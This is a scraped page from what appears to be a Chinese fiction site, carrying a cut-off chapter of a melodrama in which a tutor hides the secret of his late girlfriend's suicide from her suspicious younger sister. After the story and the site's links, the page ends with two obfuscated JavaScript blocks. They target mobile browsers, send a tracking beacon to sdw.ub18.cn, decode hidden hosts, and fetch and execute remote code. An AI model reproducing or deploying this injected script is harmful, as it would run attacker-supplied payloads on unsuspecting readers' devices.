“老师,我作了一篇玩弄女性而害别人自杀的文章,请你给予点评!”

甚嚣尘上,甚至连其他教师亦问我:“阿仁,听说你玩了班上女生的姐姐害人家自杀,是真的吗?”

我没有否认,这无疑是令我增添了不少麻烦,但既然冬竹是要用这种方法替二姐出气,我也只能承受。在决心永远守护秋菊的秘密下,我是不会作任何反驳。相比冬竹的丧姐之痛,我受的这一点流言又算是什么。

但可能这种消极态度令冬竹未能得到她预期的效果,她对我的攻击变本加厉,这天回到课室,看到黑板上贴了我和秋菊的照片,是一张撕成两半的照片。

我怒不可遏,也不理情况,冲过去揪起女孩的衣领吼叫:“你可以尽管侮辱我,别侮辱你姐!”

冬竹毫无半点惧怕的盯着我:“是谁比你侮辱得她更多?”

我没有话说,抑压心情放开她的领口,叹气道:“我立刻辞职,可以了吗?”

“不可以,你做过的事今生今世也偿还不了,除非你死,否则我一世也不会放过你!”冬竹咬牙切齿道。

“好吧,随便你。”我放弃的回到黑板前,执起感应笔在电子黑板上写出当晚的课文。

冬竹对我的恨我是完全可以理解,秋菊自杀时她才十五岁,我想她没有跟妹妹说过跟高副帅的事,那夏兰呢?秋菊曾表示夏兰知道她和自己丈夫的关系,那夏兰会否猜到,二妹的轻生是因为和高副帅的感情纠纷?

算了,就是猜到又如何?死者已矣,生者何堪。我想夏兰也不希望多生事端,这种时候就怪责谁也无补于事,只会增添大家的痛苦。

这天下课后我跟补习学校的校长提到请辞一事,他是一个开明的人,说如果我没有做过,便不必介意冬竹的话,学生间的流言蜚语常有发生,清者自清,才是面对谣言的正确态度。

我接受了校长的挽留,奇怪地从那天起,冬竹没有再侮辱我,也许她亦明白贴上秋菊照片是对其姐的一种不敬,也反省了自身的行为。

但她的报复并没完结,这天下课,女孩一直跟着我尾后,我起初装作不知,到快要到达的时候忍不住回头问她:“你要去哪里了?”

冬竹毫不掩饰的道:“去你家!”

“我家?去我家干么?”

“我要拿回二姐的东西,你不配拥有她的遗物。”冬竹的说话斩钉截铁,我叹口气说:“是这样吗?好吧,你来拿,但可以告诉你,其实没有什么。”

“我什么也要拿,一件也不可以留下!”

“随便你。”

我和秋菊交往的时候一如正常情侣,小饰物和合照还有一点。大部分我在秋菊离世后安放在盒子里,偶尔拿来回忆女孩,是很有价值,但如果冬竹要取回,我也只好顺她意思。

“就只有这么多?”冬竹检查了一遍,有点不相信我,我的精神寄托即将要被带走,心情不是很好,耸耸肩道:“交往一年,大概是这样子吧?”

“薄情男人,二姐为了你连命也不要,在你心里便只有这一点点。”冬竹不屑骂道,我没打算反驳什么,任其发落。冬竹继续自顾自翻看其他抽屉,看看有没什么被我藏起来。我庆幸由于家母有时候会过来替我收拾打扫,为免被其发现,秋菊的遗书是安放在书柜最里面的暗格内,就是冬竹如何找,也不会找到。

把东西都翻过七零八乱,看到再没其他,我以为终于可以了,谁料冬竹伸出手来:“手机拿来,里面的相片也要删掉!”

“这么狠啊…”我无奈交出,冬竹拿在手上,态度不好的命令道:“密码?”

“98769876…”

冬竹随即输入,打开相册,把里面和秋菊的合相全部删去,我欲哭无泪,一切完成后,女孩才抱起盛载二姐遗物的盒子离去,临行前我作最后央求道:“就留一张相片,可以吗?”

“不可以!”冬竹想也不想断然拒绝,我叹一口气,连最后一点思念秋菊的东西都没有了,以后的日子可以怎么过?

然而冬竹的目的并非如此,次日晚上,她没有去补习学校,我回到家时,却发觉她又在我家大肆搜掠:“是你?怎么进来的?”

冬竹没有答话,随便扬起手上锁钥,聪明女孩,昨天在翻查杂物时暗中把备用的锁钥也拿走了,我没好气道:“昨天找了一遍,今天又找什么了?”

冬竹回头望我,眼神凌厉:“你到底有什么瞒着我?”

“瞒着你?我哪有什么瞒着的?连害死秋菊的责任我也认了,还有什么需要隐瞒?”

“真的?那这是什么?”冬竹指着我书桌上的电脑萤光幕,我惊讶怎么被破解密码,她得意洋洋的道:“你这种人的密码管理不会很好,只要知道一个,便差不多其他也知道了。”

冬竹说得不错,这的确是都市人为方便的弱点。为怕搞乱忘记密码,大部分常用电器也使用同一密码。她知道手机,便自然知道电脑。

冬竹指着的,是一个写着“秋菊”的上锁档案,我大吃一惊,慌忙道:“这是秋菊的生活照,就只最后的一点思念,你做做好心,留点最后的纪念给我吧。”

“生活照?明明是MP4档,还要上锁,密码也跟其他的不一样,很可疑耶,你给我看看,如果真是没什么,我就给你留下。”

我把秋菊当日留下随身碟的档案储存在电脑里,那是我和秋菊第一次做爱时的录音,当中提及夏兰,是如何不能给冬竹听见,我坚持道:“你是秋菊妹妹,但这是你姐的私隐,即使是你也不可以看!”

“嘿,这么紧张,果然是有鬼,那更要看了!”冬竹仿佛捉住了什么痛脚,语气决绝,我不退一步,冬竹强行拿起电脑主机:“好吧,你不给我看我自己想办法,就是找黑客帮忙也要找出密码!”

“你别闹了!”我忍无可忍,一掌掴在冬竹脸上。

“啪!”

冬竹没想到我们这样激动,眼带讶异,粉嫩脸蛋留下一个几乎血红的掌印,我跪在地上,哀求道:“如果你爱秋菊的话,留给她一点作为姐姐的尊严,好吗?”

冬竹默默问道:“是做…那些事的影片?”

我轻点头,冬竹态度软化下来,她放下电脑,没再说什么便独个离去。

“唿…”我抽一口气,有想过是否要把这危险的档案删去,但我真的不舍得,这是唯一留下秋菊的声音。

“老公!你是我的老公,程仁是陆秋菊的老公!”

我按下重播,扬声器响起秋菊的声线,这一段声音是我的生命支柱,这一年里每个晚上我都会听一遍,仿佛秋菊仍伴在我的身边。

“秋菊…你没爱过我,但我真的很爱你…”

那个时候我仍单纯认为冬竹所做的事是出于憎恨我,故此当接着一晚,她跪在我家咽呜求我的时候,我是手足无措。

“我求你,告诉我真相好吗?我不为什么,只是希望知道我的二姐是为什么要死,我不想作为她妹妹,到最后一刻也不明不白。”

果然,冬竹是知道了什么。

那一瞬间我没办法有条理地回答,事出突然,我大慨比冬竹还乱。真相当然不能说出,而要立刻编一个合情合理的故事也不容易。最重要,我要知道冬竹到底掌握了什么。

我坐在床上,尽力冷静的反问:“为什么这样问,事情大家不都很清楚了?还有什么需要怀疑,难道你认为是我杀死秋菊,再布局为她自杀?”

冬竹摇头,没有回答我的话。她是一个异常精明的女生,她知道我在找寻一些可以继续隐瞒真相的线索。在两个人都紧持不亮出自己底牌的情况下,大家死寂了一段时间,终于比我更渴望知道事情的她让了步。

“那一天,你走之后,姐夫来了。”

冬竹口中的姐夫,毫无疑问是高副帅。

我的震惊出现脸上,瞬即收起表情,但只一秒,已经被冬竹发现。

“果然,是跟姐夫有关。”冬竹是一种找住端倪的语气。

冬竹告诉我,当日在我走之后,她再把墓地清理一遍便打算离去,没想到在将垃圾杂物倒好的时候,碰上了高副帅。

“当时我站在山头,他没有看到我,我很奇怪,为什么姐夫会在清明节的一星期前来拜祭,还要是单独一个人。”冬竹回忆起当日情境:“他去到二姐的墓前跪在地上,痛哭了一段很长时间。”

“高副帅在秋菊的墓前…痛哭?”我猛抽一口气,再也无法掩饰吃惊神色。

“二姐是姐夫的小姨,会为她伤心很正常,但我不认为他需要在这种日子一个人前来,还要哭得那么伤心。一星期后的清明节,我们一家人去拜祭,那天姐夫也有跟大姐一起去,但完全是两种折然不同的态度,是一个丈夫给予妻子家属的公式礼仪,态度亦很冷漠。”

冬竹像找不出理由的问道:“为什么姐夫要这样做,他明显是不想其他人知道他对二姐的伤心是比大家看到的更多,为什么他要隐藏?他跟二姐到底有什么关系?”

原来如此,因为一次的拜祭,令冬竹起了怀疑。我确认冬竹知道的事情并不太多,在真相揭开前再一次企图把它倒塞:“这没什么,秋菊以前也跟我提及,你姐夫高先生是她学校的前辈,夏兰小姐亦是经她介绍到高氏集团工作,那他们本身是一对好朋友,也很正常吧?”

“是吗?那有必要在一星期前,大家不知道的时间去吗?又有必要故意在大家面前表现冷漠吗?我觉得他是在隐瞒着什么。”

“可能他不想你父母误会,始终这种事需要避讳,流言蜚语对大家都不好。”

冬竹对我的答案不是很满意,事实上我的解释称不上解释,只是企图淡化她的疑惑。她扬起眉毛说:“我知道你不会轻易告诉我,作为二姐的亲妹,你认为我没资格知道事情的真相?”

“你当然有资格,比谁都有资格,但这就是真相,全部的真相。”

“是吗?”冬竹从口袋拿出一张相片,使我一秒唇边苍白。

是我十七岁那年,和夏兰的合照。

我不知道女孩怎样弄来这样的照片,也暗责夏兰怎么如此不小心。秋菊隐藏得很好,为了保存大姐的幸福,她一点线索都没有留下,反倒夏兰却泄漏了证据。

“这是我从家里无意中找到,大姐出嫁后她的房间给了我,所有东西都清理干净,唯独在旧相册的封面内页,找到这一张藏好的照片。”冬竹质问我:“你认识大姐?”

我内心凌乱,尽力把不会透露真相的往事说出:“对,夏兰小姐曾经是我的补习老师,这件事秋菊也知道,亦因为我曾经是你们大姐的补习学生,她那时候才会留意我。”

“你的意思是,大姐是你的补习老师,没有其他关系?”

“当然没有,那时候我才是小毛头,你的大姐比我大几年,又怎会看上我?”

我耸耸肩,说话依稀平常:“这种事情常有发生吧?男女朋友因为家人而认识。”

冬竹没有再问什么,庆幸的是,她手上那张相片是很普通的合照,没有亲密动作,被解释为老师学生的照片亦令人信服。

“好吧,我相信你,希望你没有欺骗我。”冬竹从椅上站起,态度变得平静,临出门前,我叫住了她:“冬竹!”

女孩回头,我跟她说:“我希望你明白,有些事情过去了的便是过去,钻牛角尖对任何人都没好处。秋菊很爱你一家,也很爱你,不会希望你活在她的阴影里。

为了你的二姐,做回你自己,你也有你的人生。“

“谢谢。”冬竹说完这话,便关上了门。我不知道这样对她说是否会引起她更大的怀疑,但我真的希望事情到此为止,这是一个聪明的女孩,继续下去,事情不会瞒得住。

一定不可以给冬竹知道真相,她是一个偏激女孩,会以为秋菊的轻生是因为夏兰横刀夺爱,陆家已经遭遇很悲痛的事情,不可以因为这女孩而再起波澜。

“秋菊,让夏兰永远幸福是你的心愿吧?希望你的妹妹,愿意听我的话。”

(五)

接下来的日子一切回复平静,冬竹没有再去补习学校,而我亦渴望不会再次碰上她。我不讨厌这个女孩,只是希望她可以对她的疑问释怀,好好活她人生最美丽的阶段。

然而我的愿望并没有实现,两个月后的某天下课回家,我发觉家里亮着灯光,厨房传来一阵“卡勒卡勒”的声音。

“谁在厨房…”我把头探进去看,我是一个平凡人,住的地方也很普通,应该不会有小偷看上。只见煮食炉在点起火,那只有母亲来探望时候才会使用的汤煲在冒着烟。

“妈,你来了吗?”我奇怪地四处张望,从我房间步出的是冬竹。

“是你?”我的脸色明显变差,她不是一个令人厌恶的人,会有这种反应是因为她所做的事。

“怎么了?看到小偷猫很不高兴吗?你认为你家有什么值得偷?”冬竹扬起嘴角笑问我,记忆中这是第一次看到这女孩笑,标致的一张脸,却提不起叫人欣赏的心情。

“谁回家看到有外人,也不会高兴吧?”我态度不好的道,冬竹嘴角的笑意没有改变,带点嘲讽气味:“外人?一个你曾经深爱女人的妹妹,是外人。”

我是被她倒塞了嘴,对着冬竹答不出话来,她的心情看来很好,没怎跟我计较的说:“别认真,我今天来,是多谢你。”

“多谢我?”

“多谢你,让我知道真相。”冬竹点点头,自我揭开谜底道:“他招认了。”

冬竹口的他,是高副帅。

“他把所有事都告诉了我。”

我一瞬间呆住,我简直无法相信高副帅会把一切告诉冬竹。难道他没打算保护妻子?难道他不知道这将会毁掉夏兰与冬竹的姐妹关系?难道他连一点尊严,也没想过要留给那为他而死的女孩?

我没有对着镜子,但我大慨猜到自己现在的表情。

“你一定很奇怪,为什么他会把一切告诉我吧?”从我的表情,聪明的冬竹猜到我的疑问:“要守住一个令自己感到内疚秘密不是一件容易的事,愧疚愈深,便愈想向别人倾吐,以减低缠绕心里的魔鬼。”

这个时候我是完全相信了冬竹的话,高副帅会在墓前痛哭,一定仍深爱秋菊,那在冬竹的逼压下,会抵受不了坦白真相是可以理解。

我有种大势已去的灰沉,低着声线问道:“那既然知道,还找我干么?”

“是来答谢你,如果没有你的协助,我是永远找不出答案。”冬竹神态自若地戴起煮食用的防热手套,打开煲盖让热气散出。

我摸不着头脑,我的协助?我协助过什么?难道跟冬竹的对话中被她发现了什么?女孩的说话令我感到一阵慌乱,思索当日自己究竟说错了什么。

录音?冬竹听了那段录音!她可以在我家里自出自入,乘着我不在家的时候把音频烤贝,再以软件破解密码。

一定是这样!不会有其他可能性!太大意了!明知道这样危险,我当时却没有及时处理!

我焦躁地跑进睡房,虽然已经把档案改了名字,也换了位置,但以冬竹的聪明,要找到不是难事。

电脑是处于关机状态,不似有人触碰,但当我正想打开电脑检查的时候,挨在门外的冬竹脸上露出奸滑笑容:“嘿,那段片,果然跟姐夫有关系。”

我回头望着女孩,她耸耸肩:“我骗你的,我什么也没问他,他亦什么也没招认。”

上当了…

我真蠢,居然中了冬竹的圈套,她没有问过高副帅任何事,而是以此为借口试探我。

太聪明的女孩,太愚蠢的我。

被比自己年少八年的小女孩计算,我有种说不出的屈辱,冬竹像是奚落我的娇笑一声,神态自若地离开睡房,我如战败公鸡的不发一言,一股从未有过的愤怒。

为什么?为什么我要给你愚弄?我只是为了保护你另一个姐姐,你这根本什么情况也不知道的小妞!

离开!离开这里!离开我的家!

我冲出去外面,就是用什么方法也一定要把冬竹赶走,我不可能被她吃住,一个大男人,怎可能受制于这种小女孩?

可是当我来到客厅,却看见她从厨房把热煲拿出来,放到餐桌上。

“这是什么?”我莫名其妙问道,冬竹把汤盛到碗上,理所当然答道:“青红萝白猪展煲鸡脚,你身为中国人,连这种普遍的汤也没不知道吗?”

“我当然知道萝白猪展煲鸡脚,我是问你为什么在我家里煲汤?”

“不是说了,我是来答谢你,那给你煮顿晚饭是很合理。”冬竹看着我垃圾桶里大量的即时面空杯,语气带着揶揄:“反正,也不会有其他人给你煮吧?”

我脸一热,这个小妹妹果然是够唯我独尊,冬竹没有理我,盛好一碗递向我:“试试味道如何?”

我满肚疑惑地接过,热汤倒映着自己的脸,不明白为什么要喝这应该称得上是陌生女孩的汤水,冬竹调侃道:“别喝唷,里面下了毒,我是来替二姐报仇,毒死你这个负心人。”

我闷哼一声,把汤倒进自己的口里,随即吐出来:“热!好热!”

冬竹没好气说:“明明看到刚拿出来还一口倒进去,烫死也是活该,要杀死你这种人,连毒药都可以省掉。”

“雪…雪…”我吹着猫一样的舌头,没空再跟她作口舌之争。

我自问不是太会应付女人,更不知道如何把一个不速之客赶走。毕竟身为男人是很难向警察报案说:有一个十六岁的女孩子,闯入我家煮晚饭。

“怎么了,不吃吗?你身为半个老师,不知道浪费食物是一种可耻的行为?”

冬竹把菜肴放满餐桌,自顾自吃着自己的一份,脸上仍是那个不理他人感受的表情。

“我刚吃完晚饭才回来。”我一口拒绝,冬竹洞悉一切的道:“现在是九点三十六分,补习学校九点下课,从那里回来车程二十分钟,加上步行时间,除非你是妄顾车厢中不得饮食的条例,在车上吃了吧。”

“连这个也计得这么清楚啊,反正你脸皮厚,我也不必客气,吃就吃吧!难不成真的怕你下毒了?”我咕咕噜噜,有点无法推辞的腼腆。拿起筷子,夹起一口,味道是意外地好。

我有多少年没吃过住家饭,提着碗大口大口地把白饭扒进口,这个小女孩行为令人厌恶,倒是煮得一手好菜。

“怎样?会不会比二姐差?”冬竹挥着筷子有些得意的问道,我不想跟她说话,但仍边吃边随口答说:“你认为秋菊会给我煮晚饭吗?”

“也是,我好像从没见过二姐下厨,那大姐呢?”

“小兰也没有…咦?”脱口而出的一句,我发觉说错话了,冬竹以一种狡诈的眼神望我,嘴角微翘:“呵,是小兰啊…”

我心中一寒,怕她又追究什么,女孩摇着手道:“你放心,我今天是来报答,不会难为你,反正我要知道的事,你不说大概已经猜到了。”

讨厌,这实在是个讨厌的女孩。

菜肴不差,但吃之无味,我只想快点打发她走,冬竹随意地打量房子几遍,语带轻松问道:“你现在有女朋友吗?”

我没做声,知道她又想用什么说话来踩踏我,冬竹自问自答的点头:“我问这是多余,这里半点女人气息也没有,试问怎会有?看来除了我家姐,没有女人会看上你。”

听到那故意加重语音的“家姐”,我不知道她指的是秋菊,抑或夏兰。

“这里租金多少?”女孩突然问道,我不想理她,还是勉强回答:“一万。”

“呵,你打一份廉价工,还要兼职老师,付这种租金是十分吃力吧,难怪没女朋友。”

我简直连回她说话也浪费时间。

“这样吧,我给你分租一半,你的经济不就松动一点?”

对冬竹突然提议,我几乎把刚吞进口的白饭吐出来:“你分租一半?”

冬竹点头,收起笑容道:“对,二姐去世一年,妈妈仍没法接受,每天看到她的房间睹物思人,精神愈来愈差,大姐提议他们搬过去跟她和姐夫一起住,他们答应了。”

“这跟你分租有什么关系了?”

冬竹认真说:“我不喜欢住在别人的家里。”

“喂,这里也是别人的家吧?而且你不是说我是杀人凶手,怎么要送羊入虎口了?”

冬竹摇头道:“经过一段时间的观察,我觉得二姐因为你而自杀的机会很低,你是一个没用男人,不值得为你死,我想二姐的死不是因为你。”

我对她的理据哭笑不得:“那我是否要感谢你,还我一个清白?”

冬竹狠狠盯着我说:“别笑!我不是跟你开玩笑,那是我二姐的命!”

我完全不知道可以怎样跟这女孩对话,沉住气说:“好,那我也认真跟你说,既然你父母仍未能摆脱丧女之痛,身为女儿的是否应该多陪在身边,而不是搬去别处住,一走了之。”

“这是我家事,你可以不必管,反正我明天便搬过来,你替我准备房间吧。”

我对她的自把自为动气道:“别乱了!你以为你说怎 放大文字 缩小文字 这文很赞(0) 一般般啦(0) 收藏此文(0) 分享此文


上一篇:和大学拉拉队员的激情夏夜

下一篇:民族终结之魔夜(12)


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};